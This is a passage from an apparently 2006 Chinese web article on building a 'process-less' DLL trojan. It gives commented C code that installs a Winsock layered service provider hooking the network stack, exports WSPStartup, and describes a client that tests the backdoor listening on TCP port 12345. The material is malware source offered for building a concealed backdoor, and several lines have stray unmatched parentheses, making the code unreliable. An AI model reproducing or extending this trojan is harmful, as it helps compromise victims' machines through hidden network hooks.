无进程DLL木马的又一开发思路与实现
2006-07-21 11:11:05 来源:WEB开发网//创建木马进程,它只是展示数据的流通
GetModuleFileName(NULL,processname,MAX_PATH);
//获得调用本服务提供者动态链接库的可执行文件的全名
OutputDebugString(_T("Start the backdoor ..."));
//输出调试信息
layerid=protoinfo[i].dwCatalogEntryId;
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
//获得下一层传输服务提供者的标志信息
WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);
//获得下一层传输服务提供者的安装路径
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);
//扩展环境变量
hfilter=LoadLibrary(filterpath));
//装载下一层传输服务提供者
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));
//获得下一层传输服务提供者的入口函数WSPStartup,以便调用
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);
//调用下一层传输服务提供者的WSPStartup函数,实现钩子功能
nextproctable=*lpproctable;
//保存下一层服务提供者的30个服务函数指针
由于以动态链接库形式的服务提供者要向外提供一个入口函数,因此还须一个配置文件backdoor.def:
EXPORTS WSPStartup
//向外提供入口函数WSPStartup
3.testBD.exe
这是一个测试程序,用来检测木马的服务器端是否正常工作。在它发送特定的消息到服务器端后,如果服务器正常工作就会回送特定的消息,反之则不会收到任何消息。由于木马的服务器在TCP的12345端口监听,所以我们的客户端也是基于TCP协议的。
更多精彩
赞助商链接